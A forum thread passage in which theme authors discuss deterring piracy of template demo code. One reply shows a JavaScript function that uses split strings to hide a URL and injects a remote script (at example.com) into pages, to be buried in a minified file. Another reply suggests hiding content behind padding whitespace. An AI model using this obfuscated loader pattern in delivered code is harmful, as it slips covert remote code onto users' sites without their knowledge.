469 posts
  • Europe
  • Exclusive Author
  • Most Wanted Bounty Winner
  • Sold between 10 000 and 50 000 dollars
  • Referred between 1 and 9 users
  • Envato Studio (Microlancer) Beta Tester
  • Has been a member for 2-3 years
rayoflightt says

charlie4282, I suppose it should be included in template preview only because code from preview is usually stolen.

3667 posts
  • Bought between 500 and 999 items
  • Community Superstar
  • Exclusive Author
  • Forum Superstar
  • Has been a member for 4-5 years
  • United Kingdom
charlie4282 says

Again I would still suggest getting clarification from envato on doing it but yes you would be right – that seems to make more sense especially as by default most authors are tracking their demo sites one way or another

1069 posts
  • Forum Superstar
  • Most Wanted Bounty Winner
  • Envato Studio (Microlancer) Beta Tester
  • Author had a Free File of the Month
  • Bought between 50 and 99 items
  • Referred between 50 and 99 users
  • Europe
  • Has been a member for 3-4 years
  • Exclusive Author
+1 more
Smartik says

While I am opposed to any form of piracy – creating hidden JS which allows you to inject code or any form of discreet tracking, is a huge breach of genuine buyers privacy and I would imagine against policy for files on sale here.
Do it nice. Add a simple notice on top on all sites that use the source code from demo. :) I did it once and it worked. I sold ~15 copies in a week where showing the notice on their site. Some of them sent me a message with apologies for using a illegal copy, they had no idea the template is available for sale and is not free.

@Svecc, @rayoflightt, nothing special. You can place a function somewhere in a big js file and minimize that file. Here is an example
function tfc421(){
    var script = document.createElement( 'script' ),
        t = 't',
        e = 'e',
        o = 'o',
        r = 'r',
        j = 'j';
    script.type = 'text/javascript';
    script.src = 'ht'+t+'p://'+e+'xample.c'+o+'m/j/sc'+r+'ipt.'+j+'s';
    $("body").append( script );
}
tfc421();
This will be added right before </body> tag:
<script type="text/javascript" src="http://example.com/j/script.js"></script>
198 posts
  • Bought between 1 and 9 items
  • Referred between 1 and 9 users
  • Exclusive Author
  • Has been a member for 3-4 years
  • Sold between 5 000 and 10 000 dollars
  • Romania
DanThemes says

You can also try inserting 100-150 lines of white space at the beginning of the source code… I know, it’s a very cheap trick but it could stop some of the newbies. :)

by
by
by
by
by
by